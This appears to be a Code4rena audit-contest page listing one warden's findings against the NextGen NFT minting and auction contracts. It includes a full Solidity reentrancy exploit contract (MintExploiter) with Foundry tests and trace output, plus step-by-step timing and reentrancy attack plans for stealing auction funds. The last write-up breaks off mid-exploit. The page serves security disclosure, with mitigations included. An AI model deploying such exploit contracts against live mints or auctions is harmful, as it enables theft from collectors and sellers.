NextGen - droptpackets's results

Advanced smart contracts for launching generative art projects on Ethereum.

General Information

Platform: Code4rena

Start Date: 30/10/2023

Pot Size: $49,250 USDC

Total HM: 14

Participants: 243

Period: 14 days

Judge: 0xsomeone

Id: 302

League: ETH

NextGen

Findings Distribution

Researcher Performance

Rank: 177/243

Findings: 2

Award: $0.15

🌟 Selected for report: 0

πŸš€ Solo Findings: 0

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L196-L254 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L189-L200

Vulnerability details

Impact

Summary:

MinterContract.sol has a mint() method that allows a potential attacker to utilize a reentrancy attack via onERC721Received in a malicious contract in order to mint an arbitrary number of ERC721 tokens, above the limit enforced by the contract. This can occur during either Allowlist or Public mint phases.

Attack order:

  1. Develop and deploy malicious contract (MintExploiter.sol)
  2. Mint an ERC721 token via MinterContract.sol:mint()
  3. When receiving ERC721 from the safeMint call, use the onERC721Received function in malicious contract to make a direct call to MinterContract.sol:mint() before returning ERC721 received status. Setup a variable to track how many mints are desired.

Attack result: Attacker is able to mint as many ERC721 tokes as they want to under the total supply limit. The attacker is not limited to the enforced number of tokens allocated for each user (in example, 2 tokens).

Worst case scenario:

A high value ERC721 is launching. It is possible for a user to mint an arbitrary number of tokens far above the intended limit during either the allowlist (if attacker's contract is allowlisted) or public phase. This can be catastrophic for high value collections, as it may allow arbitrage by bad actors and cause reputational damage to the collection that is currently minting.

Even if there is a high mint price associated with mint, a highly sought after collection may provide ample incentive for an attacker to pay mint cost for dozens, hundreds, or thousands of tokens in order to achieve the desired arbitrage.

Detailed Description:

It is possible for an attacker to design a malicious smart contract to recursively call the mint() function repeatedly during allowlist (if attack contract is allowlisted) or public to mint an arbitrary number of ERC721 tokens. The section below will dive into how this is possible and the design of the proof of concept for this attack.

In MinterContract.sol, in the mint function (https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L196-L254) there are lots of checks to ensure that the user can mint and to check if the user has minted. However, the order of the logic does not appear to follow the checks effects interactions pattern that is recommended.

For example, consider the following checks in MinterContract.sol by line number: 213 require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, _delegator) + _numberOfTokens, "AL limit"); 217 require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, msg.sender) + _numberOfTokens, "AL limit"); 225 require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max"); 237 gencore.mint(mintIndex, mintingAddress, _mintTo, tokData, _saltfun_o, col, phase);

Lines 213, 217, and 225 all utilize a unique "tokens minted" count to ensure the user has not exceeded their mint allocation for their respective phase. Then, on line 237, the call to NextGenCore.sol:mint is made.

Here is the overview of NextGenCore.sol:mint (inline or at: https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L189-L200):

function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external { require(msg.sender == minterContract, "Caller is not the Minter Contract"); collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1; if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) { _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); if (phase == 1) { tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; } else { tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; } } }

Note that mintProcessing is called on line 193 and that tokensMintedAllowlistAddress[_collectionID][_mintingAddress] or tokensMintedPerAddress[_collectionID][_mintingAddress] are not called until line 195 or 197 respectively.

In mintProcessing, the _safeMint function is called. This allows the malicious contract to include additional code in their onERC721Received method that can again call the mint() function in the MinterContract repeatedly, depending on cost of ERC721 and funds available to the attacker.

With the reentrant calls to mint, the tokensMintedAllowListAddress and tokensMintedPerAddress counts for the malicious address will not be incremented until after all minting has completed. This means that each additional reentrant mint will still show that the attacker has not used any of their mints (allowlist or public) and that they are still allowed to mint.

This will allow the attacker to use a malicious contract to mint as many ERC721 tokens as they wish, up to the collection's limit.

The Exploit:

Using the vulnerability outlined above, here is how we will carry out an exploit on the contract to mint an arbitrary number of ERC721 tokens:

  1. Setup a deploy a malicious contract that is IERC721Receiver, accepts mintContract address to setup an INextGenMinter object (created for test purposes), and has the following functions: onERC721Received, startExploitPublic, startExploitAllowlist, and handles payout/transfer to exploiter.
  2. In the onERC721Received function, we set a counter and mark off a limit of how many ERC721 tokens we want to mint. We also check timestamp to see if it's during allowlist or public (can be configured in other manners, this was just for proof of concept). Then a call is made to the mint function with the respective arguments.
  3. To start the attack, call either startExploitPublic or startExploitAllowlist. Each function makes a call to the MinterContract:mint function at the address of the live contract. Arguments were included for the collections for the proof of concept test, but these could be further tailored to accept any arguments necessary to target new or upcoming collections.
  4. The MinterContract:mint function on a live collection processes without issue and transfers the ERC721 tokens to the malicious contract.
  5. On receipt of each ERC721 token, the malicious contract's onERC721Received method makes another call to the MinterContract:mint function on the live contract.
  6. This reentrant process can repeat as many times as the attacker wishes, up to the collection's maximum limit.
  7. Attacker confirms receipt of expected number of ERC721 tokens (simulated in the foundry tests in proof of concept).

Proof of Concept

Providing Proof of Concept (MintExploiter) repo via dropbox: https://www.dropbox.com/scl/fi/n7haccscflfp9ojxvp9cr/poc_mint.zip?rlkey=yopvtdbsum6owmqcezfba1mht&dl=0

Unzip the project and run forge test -vvvv from the project root to see the POC in action

One note regarding the allowlist testing: To accommodate allowlist testing, MinterContract.sol line 220 was commented out as it is for verifying a MerkleProof, which was not available in the test suite. This change does not materially effect the proof of concept, as it is assumed this would be valid for an allowlist minter and the rest of the checks are still in play. If it is uncommented in the proof of concept test, the Allowlist test will fail due to merkleproof but the public mint exploit will still pass.

MintExploiter.sol:

// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "./IERC721Receiver.sol"; import "./INextGenMinter.sol"; contract MintExploiter is IERC721Receiver { INextGenMinter public minter; uint256 counter = 0; bytes32[] public bytesArray; constructor(address _minterContract) { bytesArray.push(0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870); minter = INextGenMinter(_minterContract); } // An event to log the received Ether. event EtherReceived(address indexed sender, uint256 value); // Fallback function to receive either receive() external payable { emit EtherReceived(msg.sender, msg.value); } // This function is called to receive a token on safeMint function onERC721Received(address, address, uint256 tokenId, bytes memory) external override returns (bytes4) { counter += 1; if(counter <= 254){ if(block.timestamp < 1697931178){ // Allowlist mint test minter.mint(1, 2, 2, '{"tdh": "200"}', address(this), bytesArray, address(0x0000000000000000000000000000000000000000), 2); } else { // Public mint test minter.mint(1, 2, 0, '{"tdh": "100"}', address(this), bytesArray, address(this), 2); } } // Return expected response confirming ERC721 received return this.onERC721Received.selector; } // Start the exploit by calling the mint function function startExploitPublic() external { minter.mint(1, 2, 0, '{"tdh": "100"}', address(this), bytesArray, address(this), 2); } function startExploitAllowlist() external { minter.mint(1, 2, 2, '{"tdh": "200"}', address(this), bytesArray, address(0x0000000000000000000000000000000000000000), 2); } // Add function to transfer ETH and NFTs out to another address controlled by attacker }

MintExploit.t.sol: Please note that we included some baseline tests to prove:

  1. That minting 2 ERC721 tokens was possible during public.
  2. That minting 2 ERC721 tokens and then again attempting to mint regularly (without exploit) reverts as expected.

This was important to establish that the contract appears to be functioning as expected when carrying out these attacks.

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "forge-std/Test.sol"; import "../src/NFTDelegation.sol"; import "../src/XRandoms.sol"; import "../src/NextGenAdmins.sol"; import "../src/NextGenCore.sol"; import "../src/RandomizerNXT.sol"; import "../src/MinterContract.sol"; import "../src/AuctionDemo.sol"; import "../src/MintExploiter.sol"; contract MintExploit is Test { DelegationManagementContract hhDelegation; randomPool hhRandoms; NextGenAdmins hhAdmin; NextGenCore hhCore; NextGenRandomizerNXT hhRandomizer; NextGenMinterContract hhMinter; MintExploiter hhExploit; bytes32[] public bytesArray; address owner; address addr1; address addr2; address auctionERC721Holder; address exploitMint; event FinalMintCount(uint256 value); event FinalExploiterBalance(uint256 value); function setUp() public { owner = address(this); addr1 = vm.addr(1); addr2 = vm.addr(2); auctionERC721Holder = vm.addr(3); exploitMint = vm.addr(6); hhDelegation = new DelegationManagementContract(); hhRandoms = new randomPool(); hhAdmin = new NextGenAdmins(); hhCore = new NextGenCore("Next Gen Core", "NEXTGEN", address(hhAdmin)); hhRandomizer = new NextGenRandomizerNXT(address(hhRandoms), address(hhAdmin), address(hhCore)); hhMinter = new NextGenMinterContract(address(hhCore), address(hhDelegation), address(hhAdmin)); hhExploit = new MintExploiter(address(hhMinter)); hhAdmin.registerAdmin(address(hhMinter), true); bytesArray.push(0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870); } function setUpCreateCollectionAndSetData() internal { vm.startPrank(owner); string[] memory t = new string[](1); t[0] = "test"; hhCore.createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", t ); vm.stopPrank(); vm.startPrank(owner); hhAdmin.registerCollectionAdmin( 1, address(addr1), true ); hhCore.setCollectionData( 1, // _collectionID address(addr1), // _collectionArtistAddress 2, // _maxCollectionPurchases 10000, // _collectionTotalSupply 0 // _setFinalSupplyTimeAfterMint ); vm.stopPrank(); } function setUpSetMinterAndRandomizerContracts() internal { hhCore.addMinterContract( address(hhMinter) ); hhCore.addRandomizer( 1, address(hhRandomizer) ); } function setUpSetCollectionCostsAndPhases() internal { hhMinter.setCollectionCosts( 1, // _collectionID 0, // _collectionMintCost 0, // _collectionEndMintCost 1, // _rate 1, // _timePeriod 2, // _salesOptions address(0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B) // delAddress ); hhMinter.setCollectionPhases( 1, // _collectionID 1696931178, // _allowlistStartTime 1697931178, // _allowlistEndTime 1697931179, // _publicStartTime 1709931179, // _publicEndTime 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870 // _merkleRoot ); } function testExpectedMintLimit() public { vm.warp(1698931179); setUpCreateCollectionAndSetData(); setUpSetMinterAndRandomizerContracts(); setUpSetCollectionCostsAndPhases(); vm.warp(1699931179); vm.startPrank(addr1); hhMinter.mint(1, 2, 0, '{"tdh": "100"}', address(addr1), bytesArray, address(addr1), 2); vm.stopPrank(); uint256 finalMintCount = hhCore.balanceOf(address(addr1)); emit FinalMintCount(finalMintCount); assertEq(finalMintCount, 2, "Incorrect NFT amount"); } function testExpectedMintLimitRevertExpected() public { vm.warp(1698931179); setUpCreateCollectionAndSetData(); setUpSetMinterAndRandomizerContracts(); setUpSetCollectionCostsAndPhases(); vm.warp(1699931179); vm.startPrank(addr2); hhMinter.mint(1, 2, 0, '{"tdh": "100"}', address(addr2), bytesArray, address(addr2), 2); vm.expectRevert(); hhMinter.mint(1, 2, 0, '{"tdh": "100"}', address(addr2), bytesArray, address(addr2), 2); vm.stopPrank(); uint256 finalMintCount = hhCore.balanceOf(address(addr2)); emit FinalMintCount(finalMintCount); assertEq(finalMintCount, 2, "Incorrect NFT amount"); } function testExploit1Public() public { vm.warp(1698931179); setUpCreateCollectionAndSetData(); setUpSetMinterAndRandomizerContracts(); setUpSetCollectionCostsAndPhases(); vm.warp(1699931179); vm.startPrank(exploitMint); // Start exploit hhExploit.startExploitPublic(); vm.stopPrank(); // Verify MintExploiter.sol contract holds the ERC721 uint256 finalMintCount = hhCore.balanceOf(address(hhExploit)); emit FinalMintCount(finalMintCount); assertEq(finalMintCount, 510, "NFTs were not transferred"); } function testExploit2Allowlist() public { vm.warp(1696931178); setUpCreateCollectionAndSetData(); setUpSetMinterAndRandomizerContracts(); setUpSetCollectionCostsAndPhases(); vm.warp(1697931169); vm.startPrank(exploitMint); // Start exploit hhExploit.startExploitAllowlist(); vm.stopPrank(); // Verify MintExploiter.sol contract holds the ERC721 uint256 finalMintCount = hhCore.balanceOf(address(hhExploit)); emit FinalMintCount(finalMintCount); assertEq(finalMintCount, 510, "NFTs were not transferred"); } }

Sample output from verbose test run:

β”‚ β”‚ β”‚ β”‚ β”‚ β”‚ β”œβ”€ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: MintExploiter: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], tokenId: 10000000508 [1e10]) β”‚ β”‚ β”‚ β”‚ β”‚ β”‚ β”œβ”€ [1289] MintExploiter::onERC721Received(NextGenMinterContract: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], 0x0000000000000000000000000000000000000000, 10000000508 [1e10], 0x) β”‚ β”‚ β”‚ β”‚ β”‚ β”‚ β”‚ └─ ← 0x150b7a0200000000000000000000000000000000000000000000000000000000 β”‚ β”‚ β”‚ β”‚ β”‚ β”‚ └─ ← () β”‚ β”‚ β”‚ β”‚ β”‚ └─ ← () β”‚ β”‚ β”‚ β”‚ └─ ← 0x150b7a0200000000000000000000000000000000000000000000000000000000 β”‚ β”‚ β”‚ └─ ← () β”‚ β”‚ β”œβ”€ [534] NextGenCore::viewCirSupply(1) [staticcall] β”‚ β”‚ β”‚ └─ ← 509 β”‚ β”‚ β”œβ”€ [555] NextGenCore::viewTokensIndexMin(1) [staticcall] β”‚ β”‚ β”‚ └─ ← 10000000000 [1e10] β”‚ β”‚ β”œβ”€ [199874] NextGenCore::mint(10000000509 [1e10], MintExploiter: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], MintExploiter: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], {"tdh": "200"}, 2, 1, 1) β”‚ β”‚ β”‚ β”œβ”€ [35223] NextGenRandomizerNXT::calculateTokenHash(1, 10000000509 [1e10], 2) β”‚ β”‚ β”‚ β”‚ β”œβ”€ [558] randomPool::randomNumber() [staticcall] β”‚ β”‚ β”‚ β”‚ β”‚ └─ ← 203 β”‚ β”‚ β”‚ β”‚ β”œβ”€ [8912] randomPool::randomWord() [staticcall] β”‚ β”‚ β”‚ β”‚ β”‚ └─ ← Apple β”‚ β”‚ β”‚ β”‚ β”œβ”€ [22851] NextGenCore::setTokenHash(1, 10000000509 [1e10], 0x42a7be28d4db1dcb219b448c15fd581b8b4f63eb66657bb50ac4a92d74dd03c0) β”‚ β”‚ β”‚ β”‚ β”‚ └─ ← () β”‚ β”‚ β”‚ β”‚ └─ ← () β”‚ β”‚ β”‚ β”œβ”€ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: MintExploiter: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], tokenId: 10000000509 [1e10]) β”‚ β”‚ β”‚ β”œβ”€ [1289] MintExploiter::onERC721Received(NextGenMinterContract: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], 0x0000000000000000000000000000000000000000, 10000000509 [1e10], 0x) β”‚ β”‚ β”‚ β”‚ └─ ← 0x150b7a0200000000000000000000000000000000000000000000000000000000 β”‚ β”‚ β”‚ └─ ← () β”‚ β”‚ └─ ← () β”‚ └─ ← () β”œβ”€ [0] VM::stopPrank() β”‚ └─ ← () β”œβ”€ [656] NextGenCore::balanceOf(MintExploiter: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211]) [staticcall] β”‚ └─ ← 510 β”œβ”€ emit FinalMintCount(value: 510) └─ ← () Test result: ok. 4 passed; 0 failed; 0 skipped; finished in 177.82ms Ran 1 test suites: 4 tests passed, 0 failed, 0 skipped (4 total tests)

Tools Used

Foundry

  • Leverage OpenZeppelins reentrancy guard on the public mint function in MinterContract.sol:196
  • In NextGenCore.sol:189, update the logic in the mint function so that _mintProcessing on line 193 is moved to line 198, so that updates to tokensMintedAllowListAddress or tokensMintedPerAddress regarding minted tokens occurs before _safeMint is called.

Assessed type

Reentrancy

#0 - c4-pre-sort

2023-11-19T14:33:01Z

141345 marked the issue as duplicate of #51

#1 - c4-pre-sort

2023-11-26T14:03:32Z

141345 marked the issue as duplicate of #1742

#2 - c4-judge

2023-12-08T16:23:32Z

alex-ppg marked the issue as satisfactory

#3 - c4-judge

2023-12-08T16:23:54Z

alex-ppg marked the issue as partial-50

#4 - c4-judge

2023-12-08T19:17:07Z

alex-ppg marked the issue as satisfactory

Findings Information

🌟 Selected for report: smiling_heretic

Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie

Awards

0 USDC - $0.00

Labels

bug
3 (High Risk)
satisfactory
edited-by-warden
duplicate-1323

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L114 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L124-L130

Vulnerability details

Updated to Timing on this one and the other. Issue is both timing and Reentrancy, but this Reentrancy is not recursive so marking Timing as the leading issue.

Impact

Summary:

AuctionDemo.sol has two methods (claimAuction and cancelBid) that can be combined in a malicious contract to conduct a Timing and Reentrancy attack in order for the winning bidder to receive both the ERC721 token and also refund their winning bid.

Attack order:

  1. Develop and deploy malicious contract (ProofOfExploit.sol)
  2. Place winning (highest) bid on live auction from malicious contract
  3. Submit claimAuction call at exact block.timestamp of auction end time
  4. When receiving ERC721 from the claimAuction call, use the onERC721Received function in malicious contract to make a direct call to cancelBid before returning ERC721 received status.

Attack result: Attacker is able to receive both the ERC721 and their winning bid back.

Worst case scenario:

A high value ERC721 is being auctioned off where dozens or hundreds of ETH are being paid for the token. The winner is able to steal these funds from the contract while also successfully claiming the token they were bidding on.

This can result in the original token owner (auctioner) not receiving payment for auctioning their ERC721 OR may cause liquidity of the AuctionDemo contract to be incorrectly disbursed (if there are more than one auction running concurrently). This will eventually lead to liquidity issues where bid cancellations or sellers will not receive back/receive their funds (ETH).

Detailed Description:

In the AuctionDemo contract, both claimAuction and cancelBid utilize a block.timestamp check.

claimAuction’s require with timestamp check looks like: require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);

cancelBid’s require with timestamp check looks like: require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

Since both use β€œor equal to” in their comparison, this means that both of these methods can be called at the same exact time - when block.timestamp is exactly the auction end time.

Let’s look more closely at what is happening in claimAuction: claimAuction

Review by some specific line numbers: 105: requirements will be met when executed exactly at auction end time 106: auctionClaim is set to true, essentially serving as a mutex lock to block a re-entrant attack on this method (since it’s checked on line 105) 107-109: gathering highest bid, token owner, and highest bidder details 111: if statement that checks bidder is highest bidder, bid is highest bid, and auctionInfoData status showing that claim is still marked as true 112: if conditions of 111 are met, token is transferred to the winner via safeTransferFrom 113: owner of token is paid 114: results of call from line 113 is emitted

There are several issues here:

  1. After line 111, auctionInfoData status should be updated to false, but it is not. This is key to the cancelBid attack.
  2. Line 112 initiates token transfer via safeTransferFrom, which if calling a contract requires a response that the contract can receive ERC721 tokens. We will leverage this to include a malicious payload in the onERC721Received function in our malicious contract
  3. Line 113 & 114: Payment to owner is attempted, but failure does not trigger a revert. This is a big issue, as it is possible for the malicious contract to trigger a refund during line 112, so by the time the prior token owner is being payed, the contract has already disbursed those funds.

Now let’s look at cancelBid: cancelBid

Review by some specific line numbers: 125: requirements will be met when executed exactly at auction end time 126: bidder must be msg.sender and auctionInfoData status must be true (ie, not refunded). This will be true as the claimAuction method does not set auctionInfoData status as false during it’s flow. 127: sets auctionInfoData to false, which will prevent a recurrent call to cancelBid 128: payable call executed to disburse refund 129: CancelBid event is emitted

Nothing here is inherently incorrect for this finding, but call on 128 should revert if it fails.

The Exploit:

Using the two methods outlined above, here is how we will carry out an exploit on the contract to receive the ERC721 token and refund our winning bid:

  1. Setup a deploy a malicious contract that is IERC721Receiver, accepts auctionContract address to setup an IAuctionDemo object, and has the following functions: bidOnAuction, onERC721Received, startExploit, and handles payout to exploiter.
  2. In the onERC721Received function, retrieve the index of your final winning bid and make a call to cancelBid, using the tokenId and retrieved index.
  3. On a live auction, submit a winning bid via the ProofOfExploit.bidOnAuction() method. This establishes the smart contract as the submitter of the bid.
  4. Execute the ProofOfExploit.startExploit() to execute exactly at the auctionEnd block.timestamp. This call will make a call to the claimAuction method in the AuctionDemo contract.
  5. During the processing of claimAuction, the ERC721 will be sent to the ProofOfExploit contract, which will trigger the onERC721Received function. This function will make a call to cancelBid, which will succeed as all conditions in cancelBid are met as outlined above. Finally, the onERC721Received function will respond that it received the ERC721 token successfully to the AuctionDemo contract.
  6. AuctionDemo will then attempt to pay the seller (old owner) of the token, but will have no remaining funds (assuming 1 live auction) and will fail. But, the payable call failure will not revert and will instead emit ClaimAuction as failed.
  7. Verify successful receiving of NFT and refund of funds.

Proof of Concept

Providing Proof of Concept (ProofOfExploit) repo via dropbox: https://www.dropbox.com/scl/fi/491d9u2aeyhd3hkekq70f/poc.zip?rlkey=mzxb8zvnogalko2eujssocn50&dl=0

Unzip the project and run forge test -vvvv from the project root to see the POC in action (screenshots below).

Screenshot of Exploit POC Contract code: exploit code

Screenshot of Foundry Test with POC in action: foundry test

Foundry output from running test: foundry test results

Tools Used

Foundry

Several mitigation stops are recommended:

  1. Use checks effects interactions pattern for auction status
  2. Change time equality check so that auction end time for refunds and claim time do not overlap
  3. Throw a revert if a payment fails. Success is tracked but only emitted and not acted upon.

First, checks effects interactions pattern and locks should be properly implemented. This is followed successfully in the cancelBid and cancelAllBids functions where auctionInfoData[_tokenid][index].status is set to false prior to payment being sent. This should also occur immediately after line 111 in AuctionDemo. If auctionInfoData[_tokenid].status were set after line 111, then the reentrant call from onERC721Received to cancelBid would have failed as the auctionInfoData status would be set to false.

As it currently stands, the auctionInfoData status was checked on 111, but it is never updated. Instead, it is assumed that checks effects interactions will be enforced via the auctionClaim[_tokenid] being set to true in AuctionDemo:106. While this does work for subsequent calls to claimAuction, it did not account for potentially reentrant calls from the onERC721Received call via safeTransferFrom.

Second, the time equality check currently overlaps. While claimAuction has β€˜block.timestamp >= minter.getAuctionEndTime(_tokenid)’, it was found that cancelBid has block.timestamp <= minter.getAuctionEndTime(_tokenid) in its check. For this reason, the overlap of the equality operators allows for potential malicious interactions, as demonstrated. At least one of these should be changes to remove the β€˜or equal to’ component so there is no overlap.

Third, while payment status from calls are stored and emitted, they are not enforced. If a payment status returns false in that there was an error with the payable call, then an error should be thrown and the state reverted.

Any one of these three items outlined would have prevented the attack demonstrated in the proof of concept (proof of exploit).

Assessed type

Timing

#0 - c4-pre-sort

2023-11-22T00:11:28Z

141345 marked the issue as duplicate of #1278

#1 - c4-pre-sort

2023-11-27T10:12:05Z

141345 marked the issue as not a duplicate

#2 - c4-pre-sort

2023-11-27T10:12:40Z

141345 marked the issue as duplicate of #962

#3 - c4-judge

2023-12-04T21:40:44Z

alex-ppg marked the issue as duplicate of #1323

#4 - alex-ppg

2023-12-08T18:10:49Z

This is the same submission as #975 by the same Warden, perhaps either should be removed/nullified.

#5 - c4-judge

2023-12-08T18:10:58Z

alex-ppg marked the issue as satisfactory

Findings Information

🌟 Selected for report: smiling_heretic

Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie

Awards

0 USDC - $0.00

Labels

bug
3 (High Risk)
satisfactory
edited-by-warden
duplicate-1323

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L124-L129

Vulnerability details

This finding is very similar to the one I submitted earlier titled "Timing + Reentrancy Attack Allows for Auction Winner to Receive ERC721 Token and Refund Themselves Winning Bid Amount".

However, this attack allows potentially greater damage so I wanted to submit this as well.

I trust the team to decide whether this belongs as a standalone finding or if it should be appended/included with the prior finding (and arguably increase the impact as they both could be combined). Again, the impact here is why I am submitting this writeup as this allows for potentially significant theft of funds.

Update: Updated to Timing on this one and the other. Issue is both Timing and Reentrancy, but this Reentrancy is not recursive so marking Timing as the leading issue.

Impact

Summary: AuctionDemo.sol has two methods (claimAuction and cancelBid) that can be combined in a malicious contract to conduct a Timing and Reentrancy attack in order for the winning bidder to withdraw up to nearly double what they entered into the contract via bids. This is especially possible if multiple auctions are concurrently ongoing and the contract has a large ETH balance.

Worst case scenario:

Several auctions are ongoing at the same time, with lots of bids coming in. A malicious contract is able to time the ending of the contract to extract up to nearly double their bid amounts entered via payable fallback exploit.

Let's review claimAuction: https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120

Review by some specific line numbers: 105: requirements will be met when executed exactly at auction end time 106: auctionClaim is set to true, essentially serving as a mutex lock to block a re-entrant attack on this method (since it’s checked on line 105) 107-109: gathering highest bid, token owner, and highest bidder details 115: if statement checks if auctionInfoData status showing that claim is still marked as true 116: if conditions of 115 are met, refund is issues via payable call 117: results of call from line 116 is emitted

There are several issues here:

  1. After line 115, auctionInfoData status should be updated to false, but it is not. This is key to the cancelBid attack. 116 & 117: Refund is attempted via payable call. Additionally, failure does not trigger a revert.

Now let’s look at cancelBid: https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L124-L129

Review by some specific line numbers: 125: requirements will be met when executed exactly at auction end time 126: bidder must be msg.sender and auctionInfoData status must be true (ie, not refunded). This will be true as the claimAuction method does not set auctionInfoData status as false during it’s flow. 127: sets auctionInfoData to false, which will prevent a recurrent call to cancelBid 128: payable call executed to disburse refund 129: CancelBid event is emitted

The Exploit:

Using the two methods outlined above, here is how we can double refund most of our bids:

